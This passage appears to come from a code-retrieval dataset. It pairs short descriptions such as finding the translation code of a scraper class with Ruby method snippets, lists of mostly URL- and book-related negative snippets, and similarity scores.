"def source\n return @source if @source\n WHITELIST_REGEXES.each_pair do |name, reg|\n if source_url =~ reg\n @source = name\n break\n end\n end\n @source\n end", "def url\n @client.get_download_link(@path)\n end", "def web_url\n return @web_url\n end", "def web_url\n return @web_url\n end", "def web_url\n return @web_url\n end", "def source_download_url(version, edition)\n src = iso_source(version, edition)\n assert_src_is_not_nil(src, version, edition) unless node['visualstudio'][version][edition]['installer_file'].empty?\n url = nil\n url = ::File.join(src, node['visualstudio'][version][edition]['filename']) unless src.empty?\n url\n end", "def hook_url\n \"#{beef_url_str}#{hook_file_path}\"\n end", "def base_url\n base_href || url\n end", "def human_url\n return data()['project_uri']\n end", "def src(options = {})\n protocol = options[:protocol] == \"https://\" ? \"https\" : \"http\"\n \"#{protocol}://#{SRC_BASE_URL}?\" + src_options.to_query\n end", "def asset_url(source, options = T.unsafe(nil)); end", "def url\n \[email protected]_s\n end", "def uri\n conf['uri'] || git_source\n end", "def stream_url\n\t\t\"http://www.google.com\"\n\tend", "def url\n @doc.url\n end", "def url_content\n\t file.url\n\tend", "def url\n\t\tif relative? then\n\t\t\tif page.bases[0] then\n\t\t\t\t page.bases[0].href + src\n\t\t\telse\n\t\t\t\tpage.uri + src\n\t\t\tend\n\t\telse\n\t\t\tsrc\n\t\tend\n\tend", "def url\n ::File.join \"/\", path.to_s\n end", "def url\n Config.site.url.chomp('/') + self.path\n end", "def url\n @gapi[\"selfLink\"]\n end", "def url\n @gapi[\"selfLink\"]\n end", "def website_url; website end", "def url\n @attributes[:url]\n end", "def url\n @attributes[:url]\n end", "def url\n if derivative\n derivative_url || regular_url\n elsif version\n version_url\n else\n regular_url\n end\n end", "def urls\n @gapi.source_uris\n end", "def url\n [ Configuration.url, @path ].join\n end", "def image_url(source)\n abs_path = image_path(source)\n unless abs_path =~ /^http/\n abs_path = \"#{request.protocol}#{request.host_with_port}#{abs_path}\"\n end\n abs_path\n end", "def javascript_url(source)\n URI.join(current_host, path_to_javascript(source)).to_s\n end", "def source_path\n source[:path]\n end", "def epub_sample_url\n if @collateral_detail\n @collateral_detail.epub_sample_url\n end\n end", "def source_url(project)\n \"github.com/#{project.name}\"\n end", "def current_url\n bridge.url\n end", "def source\n result_hash['src']\n end", "def url\n @attributes.fetch('url', nil)\n end", "def url\n self.class.url\n end", "def get_url\n URI.parse(\"#{@server}#{URL}\")\n end", "def local_record_source_url\n if aleph_record?\n 'https://library.mit.edu/item/' \\\n \"#{an_numeric_component}\"\n elsif aleph_cr_record?\n 'https://library.mit.edu/res/' \\\n \"#{an_numeric_component}\"\n end\n end", "def download_source\n unless @download_source\n if new_resource.package_url\n res = chase_redirect(new_resource.package_url)\n else\n params = URI.encode_www_form(full: 1,\n plat: node['platform_family'][0..2])\n res = chase_redirect(\"https://www.dropbox.com/download?#{params}\")\n end\n end\n @download_source ||= res\n end", "def dmg_package_source\n if %i(direct repo).include?(new_resource.source)\n return package_metadata[:url]\n end\n path = new_resource.source.to_s\n (path.start_with?('/') ? 'file://' : '') + path\n end", "def base_url\n @url.to_s.split('?').first\n end", "def image_url\n\t\t\t@data[\"image\"][\"source\"]\n\t\tend", "def source\n @source ||=\n Dassets.config.sources.select{ |source|\n @file_path =~ /^#{slash_path(source.path)}/\n }.last\n end", "def source_url\n return @node.inner_text.strip if image_url?\n\n image_node.attribute('src').value\n end", "def to_s\n url\n end", "def source\n @source\n end", "def source\n @source\n end", "def url\n env[:url]\n end", "def default_url\n return @resource.value(:source) unless @resource.value(:source).is_a?(Hash)\n return @resource.value(:source)[@resource.value(:remote)] if @resource.value(:source).key?(@resource.value(:remote))\n raise(\"You must specify the URL for remote '#{@resource.value(:remote)}' in the :source hash\")\n end", "def url\n @browser.url\n end", "def file_url\n return nil if target_item.files.empty?\n target_item.files.last.uri.to_s\n end", "def get_url\n return @url if @url\n\n yml = YAML::load_file(\"#{repo_dir}/.ram_config\")\n yml = yml.it_keys_to_sym\n @url = yml[:url]\n\n UI.puts \"-> error while reading the YML #{e.to_s}\".red if @url.nil?\n @url\n end", "def url\n return @@nfg_urls['sandbox']['url'] if @use_sandbox\n @@nfg_urls['production']['url']\n end" ]
[ "0.7709089", "0.76768625", "0.75086725", "0.73601705", "0.7138343", "0.7138343", "0.69972104", "0.695548", "0.69356626", "0.6927709", "0.69160104", "0.69160104", "0.69160104", "0.69160104", "0.69160104", "0.6710826", "0.67029524", "0.66960347", "0.6690352", "0.66252196", "0.66217923", "0.66217923", "0.66130537", "0.6588334", "0.65877676", "0.65877676", "0.6572487", "0.6565438", "0.65404594", "0.6526323", "0.6500926", "0.64991313", "0.64926624", "0.64689344", "0.6463837", "0.64611644", "0.6460331", "0.64455366", "0.6432756", "0.64005554", "0.63980263", "0.63914466", "0.6390381", "0.6357609", "0.6357057", "0.6348613", "0.63478905", "0.6333746", "0.6317435", "0.6306132", "0.6306132", "0.6306132", "0.6305209", "0.63023674", "0.6292878", "0.6288238", "0.62664217", "0.6265477", "0.62541467", "0.6242792", "0.6241956", "0.62364346", "0.62267846", "0.62257636", "0.6219208", "0.6208176", "0.62070936", "0.62070936", "0.62057155", "0.6193361", "0.6193361", "0.6169888", "0.6162757", "0.61595166", "0.6156493", "0.61557055", "0.6155472", "0.6152755", "0.61511284", "0.6148844", "0.61481273", "0.61441904", "0.6132048", "0.61310595", "0.6128657", "0.6122383", "0.6121082", "0.6117076", "0.6114267", "0.6107695", "0.61017054", "0.61010635", "0.60940003", "0.60940003", "0.60868734", "0.6080344", "0.6074258", "0.6068282", "0.6067209", "0.6064752" ]
0.66532016
19
Gets the translation code depending on the scraper class
def translation @translation ||= name.underscore.split('/').last end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def translation_class\n const_get translation_class_name\n end", "def extract_code_language(attr); end", "def extract_code_language!(attr); end", "def find_lang (lang_code)\n LANGUAGE_LIST.each do |element|\n if element[1] == lang_code \n return element[0] \n end\n end\n end", "def lang; end", "def lang; end", "def lang; end", "def lang; end", "def translation_class(model, locale: I18n.locale)\n translation_exists?(model, locale: locale) ? nil : 'translation-missing'\n end", "def translatable\n self._translatable[base_name]\n end", "def language_code\n if self.class.globalized?\n unless @original_language.nil?\n code = @original_language.code\n else\n code = Globalize::Locale.base_language.code\n end\n elsif Globalize::Locale.language.nil?\n code = Globalize::Locale.base_language.code\n else\n code = Globalize::Locale.language.code\n end\n code\n end", "def lang\n\t\t\t@data[\"lang\"]\n\t\tend", "def language\n return OrderedStringHelper.deserialize(super )\n end", "def get_translate(locale, key)\r\n I18n.t!(key, :locale => locale)\r\n rescue\r\n nil\r\n end", "def language_code_lookup( language_code )\n\n case language_code\n when 'eng'\n return 'English'\n when 'fre'\n return 'French'\n when 'ger'\n return 'German'\n when 'spa'\n return 'Spanish'\n end\n return language_code\n end", "def class_name\n return @options[:class_name] if not @options[:class_name].nil?\n class_main_found = false\n @catalog['resources'].each_with_index do |r,i|\n if r['type'] == 'Class' and r['title'] == 'main'\n class_main_found = true\n next\n end\n if class_main_found and r['type'] == 'Class'\n return r['title'].downcase\n end\n end\n end", "def language; languages.first; end", "def language; languages.first; end", "def site_language\n @attributes[:site_language]\n end", "def language\n self\n end", "def language\n fetch('nation.language')\n end", "def translate_lang_code(val)\n t(val.upcase)\n end", "def language_code\n self[:language_code] || (self.person ? self.person.default_language : Utility.language_code)\n end", "def language_code\n self[:language_code] || (self.person ? self.person.default_language : Utility.language_code)\n end", "def language_code\n self[:language_code] || (self.person ? self.person.default_language : Utility.language_code)\n end", "def lang_code\n (self.path_lang && self.path_lang.length > 0) ? self.path_lang : @settings['default_lang']\n end", "def translate_content(object, method)\n c = object[method] # (default)\n return c if I18n.locale == I18n.default_locale || I18n.locale == 'en'\n parent_locale = (I18n.locale.to_s.match(/^(.*)-/)) ? $1 : false\n translations = ContentTranslation.where(content_type: object.class.to_s, content_id: object.id, content_method: method.to_s)\n if t = translations.where(locale: I18n.locale).first\n c = t.content\n elsif parent_locale\n if t = translations.where(locale: parent_locale).first\n c = t.content\n elsif t = translations.where([\"locale LIKE ?\", \"'#{parent_locale}%%'\"]).first\n c = t.content\n end\n elsif auto = auto_translate(object, method)\n c = auto\n end\n c.to_s.html_safe\n end", "def translate(klass, key, value)\n if defined?(I18n)\n super\n else\n value ? value.to_s.humanize.downcase : 'nil'\n end\n end", "def language_code\n @language_code ||= code_parts[0]\n end", "def language \n \"language\" \n end", "def translation\n if self.spellings.first\n self.spellings.first.name\n else\n \"\"\n end\n end", "def locale_klass_name\n @locale_klass_name ||= self.class.name.gsub(/::/, '/').\n gsub(/([A-Z]+)([A-Z][a-z])/,'\\1_\\2').\n gsub(/([a-z\\d])([A-Z])/,'\\1_\\2').\n tr('-', '_').\n downcase\n end", "def key_lang\n if @is_result\n @lang[0, @lang.length - RESULT_SUFFIX_LENGTH]\n else\n @lang\n end\n end", "def language\n tag = self.languages.first\n return tag ? tag.name : nil\n end", "def lang locale\n if translations.find_by(locale: locale).try(:automated?)\n \"#{locale}-x-mtfrom-de\"\n else\n locale.to_s\n end\n end", "def translations\n OneclickRefernet::Translation.where(key: self.code)\n end", "def html_lang\n\t'en-US'\nend", "def translate_site(site)\n\n site = site.downcase\n sites = {\n 'gb' => 'uk'\n }\n\n if not sites.has_key?(site)\n return site\n end\n\n return sites[site]\n end", "def hecho_en\n 'china'\n end", "def _hreflang\n @link['hreflang']\n end", "def get_translation(lang_code)\n # format language code to a valid bing translate format\n lang_code_cut = TranslationsHelper.cut_country lang_code\n if lang_code_cut.nil?\n return nil\n end\n\n # check if this is a valid language code\n unless TranslationsHelper.is_valid_language lang_code_cut\n return nil\n end\n\n # check if original text is in the new language\n unless original_text.nil?\n lang_code_original_cut = TranslationsHelper.cut_country original_text.lang_code\n\n if original_text.lang_code == lang_code\n return original_text.text\n elsif original_text.lang_code == lang_code_cut\n add_translation(original_text.text, lang_code)\n return original_text.text\n elsif lang_code_original_cut == lang_code_cut\n add_translation(original_text.text, lang_code)\n return original_text.text\n end\n end\n\n # check if translation is already available, if not translate it via bing\n trans = translations.find_by_lang_code(lang_code)\n if trans.nil?\n trans_cut = translations.find_by_lang_code(lang_code_cut)\n\n # check if there is a translation only with the language code, without country code\n if trans_cut.nil?\n return translate_into_lang_code(lang_code)\n else\n add_translation(trans_cut.text, lang_code)\n return trans_cut.text\n end\n\n return translate_into_lang_code(lang_code)\n else\n return trans.text\n end\n end", "def locale\n return nil if errors\n\n locale = YAML.safe_load(@text).keys.first\n locale.to_sym\n end", "def page_title\n klass = Module.const_get(self.page.split('_').first)\n return klass.find(self.page.split('_').last.to_i).name || klass.find(self.page.split('_').last.to_i).title\n rescue NameError\n return self.page\n end", "def get_fav_prog_lang()\n return @fav_prog_lang\n end", "def language_code_of_text\n if self.language_of_text\n self.language_of_text.code\n end\n end", "def language_name(code)\n if configatron.locales.include?(code)\n t(:locale_name, :locale => code)\n else\n (entry = ISO_639.find(code.to_s)) ? entry.english_name : code.to_s\n end\n end", "def get_language_from_code code\n ISO_639.find(code).english_name if not(code.nil?)\n end", "def main_translation\n translations.where(language: main_language).one\n end", "def display_language(val)\n lang = LanguageList::LanguageInfo.find(val)\n lang ? lang.name : val\n end", "def translator\n @translator ||= Translator.new\n end", "def lang(orig); end", "def type_translation\n @type_translation\n end", "def publanguage_label\n if publanguage_object\n return publanguage_object[:label]\n else\n return publanguage\n end\n end", "def localized_page\n\t\treturn @page if @page\n\t\tl = langtag(I18n.locale)\n\t\t\n\t\tWikipedia.Configure do\n\t\t\tdomain \"#{l}.wikipedia.org\"\n\t\t\tpath \"w/api.php\"\n\t\tend\n\t\tp = page\n\t\tif p == nil || p.content == nil\n\t\t\tlogger.debug \"defaulting to english\"\n\t\t\tWikipedia.Configure do\n\t\t\t\tdomain \"en.wikipedia.org\"\n\t\t\t\tpath \"w/api.php\"\n\t\t\tend\n\t\t\tp = page\n\t\telse\n\t\t\tlogger.debug \"sending translated\"\n\t\tend\n\t\t@page = p\n\t\t@page\n\tend", "def lang_id\n static_module.lang_id\n end", "def main_page\n find_by(url: 'http://class.rambler.ru/')\n end", "def lang\n if self.attributes['xml:lang']\n return self.attributes['xml:lang'].to_s\n elsif self.parent != nil\n return self.parent.lang\n else\n return nil\n end\n end", "def get_lang_from_headers\n\t\t\t@env['HTTP_ACCEPT_LANGUAGE'].to_s[0, 2]\n\t\tend", "def to_lang\n session[:lang_to]\n end", "def for_language(locale)\n translations.select { |word| word.locale == locale }\n end", "def language\n return 'en' if code == \"ind2:0\"\n \n return 'se' if code == \"ind2:4\"\n\n return nil\n end", "def language\n return @language\n end", "def message_language\n return @message_language\n end", "def translate\n if self.products && self.products.first\n ContentTranslation.auto_translate(self, self.products.first.brand)\n end\n end", "def localized_resource_class_name(resource)\n resource_class = ::Link2::Support.find_resource_class(resource)\n resource_name = ::Link2::Support.human_name_for(resource_class) rescue resource_class.to_s.humanize\n resource_name.underscore\n end", "def language; end", "def language; end", "def language; end", "def language; end", "def select_language\n I18n.backend.send(:init_translations) unless I18n.backend.initialized?\n lang = PatientHelper.languages(primary_language)&.dig(:code)&.to_sym || :en\n lang = :en unless %i[en es es-PR so fr].include?(lang)\n lang\n end", "def translation\r\n translation_for(Mongoid::Globalize.locale)\r\n end", "def get_lang\n\t\t\tif @cookies['lang']\n\t\t\t\t# we have a cookie - do not set it at all, just read\n\t\t\t\tif @cookies['lang'].is_a?(Hash)\n\t\t\t\t\tcur_lang = @cookies['lang'][:value].to_sym\n\t\t\t\telse\n\t\t\t\t\tcur_lang = @cookies['lang'].to_sym\n\t\t\t\tend\n\t\t\telse\n\t\t\t\t# no cookie - set it, don't validate yet\n\t\t\t\tcur_lang = get_lang_from_headers\n\t\t\t\t@cookies['lang'] = {value: cur_lang, expires:(Time.now+cookie_expiration_time)}\n\t\t\t\tcur_lang = cur_lang.to_sym\n\t\t\tend\n\t\t\t\n\t\t\t# validate the language\n\t\t\tlangs = %w[pl en].map(&:to_sym)\n\t\t\tcur_lang = (langs.include?(cur_lang) ? cur_lang : :en)\n\t\t\t\n\t\t\treturn cur_lang\n\t\tend", "def language\n case \n when self.ENU || self.ENG then \"ENG\"\n when self.SPM || self.SPE then \"SPE\"\n when self.FRC || self.FRF then \"FRF\"\n when self.ITI then \"ITI\"\n when self.DUN then \"DUN\"\n when self.GED then \"GED\"\n end\n end", "def target_type_localized\n target_type.downcase.to_sym.l\n rescue StandardError\n \"\"\n end", "def website_locales\n WebsiteLocale.where(locale: self.code)\n end", "def english_name\n if self.lang == 'enUS'\n card = self\n else\n card = Card.where(:card_id => card_id, :lang => 'enUS').first\n end\n card.name\n end", "def translation_for(locale)\n success = true\n tries ||= 3\n translation = self.translations.detect{ |t| t.locale == locale }\n return translation if translation\n return nil if self.new_record\n request = Net::HTTP::Get.new(\"/api/projects/#{Connection.api_key}/terms/#{self.id}/locales/#{locale}/translations.yaml\")\n WebTranslateIt::Util.add_fields(request)\n begin\n response = Util.handle_response(Connection.http_connection.request(request), true, true)\n array = YAML.load(response)\n return nil if array.empty?\n translations = []\n array.each do |translation|\n term_translation = WebTranslateIt::TermTranslation.new(translation)\n translations.push(term_translation)\n end\n return translations\n \n rescue Timeout::Error\n puts \"Request timeout. Will retry in 5 seconds.\"\n if (tries -= 1) > 0\n sleep(5)\n retry\n else\n success = false\n end\n end\n success\n end", "def find_version\n if @language == :english\n ENGLISH\n elsif @language == :spanish\n SPANISH\n end\n end", "def locale\n if self.language\n LANGUAGE_CODE[self.language]\n end\n end", "def language\n text(data.at_xpath(\"#{data_root}/did/langmaterial/language/@langcode\"))\n end", "def snippet_label\n class_name.to_s.humanize\n end", "def spanish_name\n self[5]\n end", "def get_language(code, options = {})\n root = get_root\n object_from_response(GogoKit::Language,\n GogoKit::LanguageRepresenter,\n :get,\n \"#{root.links['self'].href}/languages/#{code}\",\n options)\n end", "def translation_path\n self.class.translation_path or self.class.controller_path.gsub(\"/\", \".\")\n end", "def word2\n return ($en_cz == 'Y') ? @czech : @english\n end", "def translations; end", "def text\n # if the title is not present, show the code\n get_translation(self.text_translations, self.dataset.current_locale, self.dataset.default_language)\n end", "def get_attribute(attribute, lang, fallback)\n translation = translations.find {|t| t['locale'] == lang }\n translation = translations.find_by(locale: lang) unless translation\n\n # return previously setted attributes if present\n return translation[attribute] if translation\n return if new_record? || !fallback\n\n # Lookup chain:\n # if translation not present in current locale,\n # use default locale, if present.\n # Otherwise use first translation\n translation = translations.detect { |t| t.locale.to_sym == lang && t[attribute] } ||\n translations.detect { |t| t.locale.to_sym == puret_default_locale && t[attribute] } ||\n translations.first\n\n translation ? translation[attribute] : nil\n end", "def lookup(locale, key)\n cache_key = Translation.ck(locale, key)\n if @cache_store.exist?(cache_key) && value = @cache_store.read(cache_key)\n return value\n else\n translations = locale.translations.find_all_by_key(Translation.hk(key))\n case translations.size\n when 0\n value = nil\n when 1\n value = translations.first.value_or_default\n else\n value = translations.inject([]) do |values, t| \n values[t.pluralization_index] = t.value_or_default\n values\n end\n end\n\n @cache_store.write(cache_key, (value.nil? ? nil : value))\n return value\n end\n end", "def first_data_language\n I18n.locale.to_s.sub('-','_').downcase\n end", "def get_type_in_french\n type = ''\n if !self.achievement_type.nil?\n if self.achievement_type.downcase == 'weight'\n type = 'Poids'\n elsif self.achievement_type.downcase == 'time'\n type = 'Temps'\n elsif self.achievement_type.downcase == 'kilometer'\n type = 'Kilomètre'\n end\n else\n type = 'kilometer'\n end\n\n type\n end", "def title\n current_localization.name\n end", "def suitable_locale_text(texts)\n english = texts.select { |t| english_locales.include? t[\"locale\"] }\n (english + texts).first[\"text\"]\n end", "def text\n # if the title is not present, show the code\n x = get_translation(self.text_translations, self.time_series.current_locale, self.time_series.default_language)\n return x.present? ? x : self.original_code\n end", "def get_translation_label(step_type, key)\n json_data = get(url: \"#{@url}services/nexpose/metadata/#{step_type}\")\n\n target_hash = json_data[:labels].values.find { |label_hash| label_hash.has_key?(key) }\n target_hash[key] if target_hash\n end", "def translated?(name)\r\n self.class.translated?(name)\r\n end", "def get_value(render_context)\n return @message.translate(render_context)\n end", "def page_class\n current_template.classify.constantize\n end", "def get_name_translation(lang_code)\n #format language code to a valid bing translate format\n lang_code_cut = TranslationsHelper.cut_country(lang_code)\n if lang_code_cut.nil?\n return nil\n end\n\n # check if this is a valid language code\n unless TranslationsHelper.is_valid_language(lang_code_cut)\n return nil\n end\n\n # check if original text is in the new language\n unless original_name.nil?\n lang_code_original_cut = TranslationsHelper.cut_country(original_name.lang_code)\n\n if original_name.lang_code == lang_code\n return original_name.text\n elsif original_name.lang_code == lang_code_cut\n add_name_translation(original_name.text, lang_code)\n return original_name.text\n elsif lang_code_original_cut == lang_code_cut\n add_name_translation(original_name.text, lang_code)\n return original_name.text\n end\n end\n\n # check if translation is already available, if not translate it via bing\n trans = name_translations.find_by_lang_code(lang_code)\n if trans.nil?\n trans_cut = name_translations.find_by_lang_code(lang_code_cut)\n\n # check if there is a translation only with the language code, without country code\n if trans_cut.nil?\n return translate_name_into_lang_code(lang_code)\n else\n add_name_translation(trans_cut.text, lang_code)\n return trans_cut.text\n end\n else\n trans.text\n end\n end", "def getLang(slug = nil, abc = nil)\n\t\t\tabc = 'default' if abc.nil?\n\n\t\t\t# Original slug\n\t\t\toslug = slug\n\n\t\t\t# Get the stack\n\t\t\tsources = getStack abc\n\n\t\t\t# Get the slug split by the delimiter\n\t\t\tslug = slug.split('.')\n\n\t\t\t# By default assume singular\n\t\t\tplural = false\n\n\t\t\t# If this var going to be plural\n\t\t\tif slug.last == 'plural'\n\t\t\t\tplural = true\n\t\t\t\tslug.pop\n\t\t\tend\n\n\t\t\t# Get slug length and counter\n\t\t\ti = 0; length = slug.length\n\n\t\t\tbegin\n\t\t\t\t# Loop through segments\n\t\t\t\tslug.each do |segment|\n\n\t\t\t\t\t# Traverse down the tree\n\t\t\t\t\tif sources.has_key?(segment)\n\t\t\t\t\t\tsources = sources[segment]\n\t\t\t\t\telse\n\t\t\t\t\t\traise AB::NotFound\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\t# Get the final lang or continue\n\t\t\t\t\ti += 1; if length == i\n\n\t\t\t\t\t\t# Check if the result exists\n\t\t\t\t\t\tif sources.has_key?(plural ? 'plural' : 'singular')\n\t\t\t\t\t\t\treturn sources[plural ? 'plural' : 'singular']\n\n\t\t\t\t\t\t# Otherwise raise an exception\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\traise AB::NotFound\n\t\t\t\t\t\tend\n\t\t\t\t\telsif sources.has_key?('children')\n\n\t\t\t\t\t\t# Check to see if a children key exists\n\t\t\t\t\t\tsources = sources['children']\n\t\t\t\t\tend\n\t\t\t\tend\n\n\t\t\t# Hit the override language\n\t\t\trescue => e\n\n\t\t\t\t# Continue with overrides unless we already did\n\t\t\t\treturn getLang(oslug, 'default') if abc != 'default'\n\t\t\t\treturn nil\n\t\t\tend\n\t\tend" ]
[ "0.7067807", "0.6085108", "0.598393", "0.57998097", "0.5782291", "0.5782291", "0.5782291", "0.5782291", "0.57471645", "0.57222545", "0.5684312", "0.5636139", "0.56308925", "0.5627755", "0.56120497", "0.5563191", "0.5561217", "0.5561217", "0.55567145", "0.5525062", "0.552436", "0.55197394", "0.5510039", "0.5510039", "0.5510039", "0.54640526", "0.54621667", "0.544754", "0.54463655", "0.54260004", "0.5403043", "0.54015565", "0.5400201", "0.539943", "0.5386827", "0.5386256", "0.53808296", "0.5379869", "0.5377402", "0.5370357", "0.53592336", "0.5352537", "0.5349641", "0.5317097", "0.53055876", "0.5282291", "0.5276666", "0.5273139", "0.5268536", "0.5266124", "0.5265535", "0.5261074", "0.5249796", "0.52495444", "0.52478826", "0.5247774", "0.524252", "0.52393955", "0.5228209", "0.52241325", "0.52136517", "0.5206045", "0.52017725", "0.51989657", "0.5197242", "0.5191134", "0.5191134", "0.5191134", "0.5191134", "0.5173409", "0.5167077", "0.51664144", "0.51639044", "0.51626414", "0.51523334", "0.51497436", "0.51440114", "0.5135415", "0.51337457", "0.51258624", "0.51234347", "0.5116348", "0.5109112", "0.5105442", "0.51052773", "0.51018053", "0.5098654", "0.50977206", "0.50960004", "0.50895613", "0.5088157", "0.5086359", "0.50823605", "0.50756973", "0.50731486", "0.5071237", "0.506277", "0.5061389", "0.50606525", "0.5058701" ]
0.60626537
2
Returns the list of books titles that require mapping
def books_with_missing_mapping Bible::Book.all.select do |book| mapping = book_mapping(book) Rails.logger.info("Mapping Check: #{book.title}") begin out scrape_verse(mapping, 1, 2), true rescue OpenURI::HTTPError out false, true end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def missing_mappings\n books_with_missing_mapping.map(&:title)\n end", "def list_books_w_matching_title(title)\n books = @mybooks.get_books_by_title(title)\n\tbooks.each {|book| puts \"#{book[:key]} | #{book[:author]}, #{book[:title]}\"}\nend", "def book_mapping(book)\n title = book.title.downcase.gsub(/\\s+/, '')\n CONFIG[:sources][translation][:mappings][title] || title\n end", "def get_book_details(title)\n for book in @all_books\n return book if book[:title] == title\n end\n end", "def book_by_title(title)\n\t\t\tresponse = request('/book/title', :title => title)\n\t\t\tHashie::Mash.new(response['book'])\n\t\tend", "def info_by_title(title)\n for book in @array_of_books\n return book if :title == title\n end\n end", "def booklist\n\t\treturn '@selftype' + '@title.each do |title|,'\n\tend", "def books\n self.book_authors.map {|book_author| book_author.book}\n end", "def book_info(book_title)\n for book in @books\n return book if book[:title] == book_title\n end\n return nil\n end", "def titles\n [ { :number => 8, :title => 'Corporations', :ref_url => 'http://delcode.delaware.gov/title8/index.shtml' } ]\nend", "def all_titles\n result = []\n @pages.each do |page|\n result << [page.page_url, page.all_titles] if page.page_a_tags\n end\n result\n end", "def get_all_titles\n show_all_titles_and_subtitles(\"title\")\n return @titles\n end", "def named_books\n # I didn't have the creativity needed to find a good ruby only check here\n books.select(&:name)\n end", "def books_with_authors\n books.select { |b| b.name && b.author_name }\n end", "def extract_titles(resources)\n titles = []\n\n resources.each do |resource|\n titles << resource[:resource_id]\n end\n\n titles\nend", "def item_titles\n legacy? ? items.pluck(:title) : ['Festlegung der Tagesordnung', 'Genehmigung von Protokollen'] + items.pluck(:title)\n end", "def borrowed_books_list\n @borrowed_books.each do |borrowed_books|\n puts borrowed_books.title\n end\n end", "def ordered_titles\n sort_titles_by_index.map { |titles| titles.first }\n end", "def titles_filter\n titles_filter = self[:titles_filter] || []\n return titles_filter if titles_filter.any?\n options.fetch 'titles_filter', []\n end", "def book_title(book, works: book.works)\n author_aliases = works.find_all(&:title?).uniq(&:person_alias_id).map do |work|\n person_alias(work.person_alias)\n end\n\n \"#{author_aliases.join \", \"} «#{book.title}»\"\n end", "def index\n @books = params[:search] ? Book.select{|book| book.title.downcase.include?(params[:search].downcase)} : Book.all\n end", "def print_titles(books)\n books.each do |book|\n puts get_title(book)\n end\nend", "def book_info_goodreads_library\n client = Goodreads::Client.new(Goodreads.configuration)\n results = client.book_by_title(params[:q])\n rescue\n []\n end", "def get_title_names\n self.account.get_title_names()\n end", "def return_book_hash_simple(book_title_str)\n for book_hash in @books\n if book_hash[:title] == book_title_str\n return book_hash\n end\n end\n return \"The book is not available\"\n end", "def find_book_by_title(title)\n for book in @books\n if book[:title] == title\n return book\n end\n end\n end", "def add_booktitle\n included_in = @bib.relation.detect { |r| r.type == \"includedIn\" }\n return unless included_in\n\n @item.booktitle = included_in.bibitem.title.first.title\n end", "def books\n result = []\n if @filename2books\n @filename2books.each do |_filename,books|\n next if books.empty?\n\n books.each do |wr_book|\n result << wr_book.__getobj__ if wr_book.weakref_alive?\n end\n end\n end\n result\n end", "def auto_complete_for_journal_title\n # Don't search on blank query.\n query = params['rft.jtitle']\n search_type = params[\"umlaut.title_search_type\"] || \"contains\"\n unless ( query.blank? )\n (context_objects, total_count) = find_by_title\n @titles = context_objects.collect do |co|\n metadata = co.referent.metadata\n {:object_id => metadata[\"object_id\"], :title => (metadata[\"jtitle\"] || metadata[\"btitle\"] || metadata[\"title\"])}\n end\n end\n render :text => @titles.to_json, :content_type => \"application/json\"\n end", "def returnBooksByGenre(userGenre)\n @books.each do \n |book|\n #book[0] holds just the key of all the book in the hash\n #book[1] holds availablility and the book itself\n #For every book, check if available\n book[1][0].select do\n |key, value|\n if(value.genre == userGenre)\n p value\n end\n end #end inner do\n end #end outer do\n end", "def authors\n # 1. Find all of the books in this genre\n # 2. Return back the author for every book\n books.collect do |book|\n # Each book, I want the author\n book.author\n end.uniq\n end", "def titles\n @title\n end", "def slug_candidates\n [\n :title,\n [:title, :year],\n ]\n end", "def get_keywords\n titles.map do |title|\n title.split(\" \")\n end\n end", "def sort_books\n # sort by starting with A - Z \n # iterate over all book titles, looking at the first letter of the title\n # title is alphabetized\n # return the list of books in order\n\n # need all books\n self.all.sort_by { |book| book.title }\n end", "def book_list\n\t\tputs \"Here are the books in our library:\"\n\t\[email protected] { |book| puts \"#{book.name}\" }\n\tend", "def index\n @page_title = 'Listing books'\n \n sort_by = params[:sort_by]\n @books = Book.find(:all, :order => sort_by)\n\n # Using my titleizer gem to convert title\n @books.each do |b|\n b.title = Title.titleize(b.title)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @books }\n end\n end", "def doc_ids_titles\n { 'fl' => 'id,title_main', 'facet' => 'false' }\n end", "def get_books author\n books = @books[author]\n if books == nil\n puts \"No such author\"\n else\n puts books.join ', '\n end\n end", "def list_books\n @books.each {|book| puts \"'#{book.title}' is #{book.status}.\" }\n end", "def search_title_scrape\n @doc.search('b')[2..6].each do |name|\n @names << name.text\n end\n search_description_scrape\n end", "def validate_titles\n nested_ordered_title.select { |i| (i.instance_of? NestedOrderedTitle) && (i.index.first.present? && i.title.first.present?) && (i.index.first.instance_of? String) && (i.title.first.instance_of? String) }\n .map { |i| i.instance_of?(NestedOrderedTitle) ? [i.title.first, i.index.first] : [i] }\n .select(&:present?)\n end", "def get_titles()\n puts @arr_of_titles\n end", "def generatetitles()\n merge(gadrgeneratetitles: 'true')\n end", "def common_component_titles_like(*titles)\r\n records = Array.new\r\n titles.each do |title|\r\n records += common_component_class.where(\"title LIKE '%#{title}%'\")\r\n end\r\n records\r\n end", "def getAllBooks()\n puts \"\\nBOOKS:\"\n puts \"-------------------------------------------------\"\n @books.each {|book| puts \"ID: \" + book.id.to_s +\n \", Name: \" + book.title +\n \", Author: \" + book.author +\n \", Publication: \" + book.publication +\n \", Year: \" + book.year.to_s +\n \", Rack No.: \" + book.rack_no .to_s+\n \", Total Copies: \" + book.total_copies.to_s +\n \", Copies Available: \" + book.copies_available.to_s\n }\n puts \"-------------------------------------------------\"\n end", "def category_titles\n categories.map(&:title)\n end", "def list_books\n @books.each { |book| puts \"#{book.title} - #{book.author} : #{book.status}\"}\n end", "def find_rental_details_by_title(title)\n for book in @books\n if book[:title] == title\n return book[:rental_details]\n end\n end\n end", "def get_title_names( title_sym = :receipt )\n [\n I18n.t( title_sym.nil? ? :receipt : title_sym.to_sym, {:scope=>[:receipt]}),\n get_year_with_number(),\n self.patient.surname\n ]\n end", "def titles(library)\nend", "def book_title\n self.part_of_title_by_type('Book')\n end", "def main_category_titles\n main_categories.map(&:title)\n end", "def list_books\n @books.each do |book|\n puts \"#{book.title} by #{book.author}: #{book.status}\"\n end\n end", "def job_titles\n collection(\"job_titles\")\n end", "def chapters(title)\n return nil unless title[:number] == 8\n [ { :number => 1, :title => 'GENERAL CORPORATION LAW', :ref_url => 'http://delcode.delaware.gov/title8/c001/index.shtml' } ]\nend", "def all_article_titles_with_authors\n @all = {}\n search_techcrunch[\"articles\"].each do |hash|\n author = hash[\"author\"]\n title = hash[\"title\"]\n @all[title] = author\n end\n return @all\n end", "def 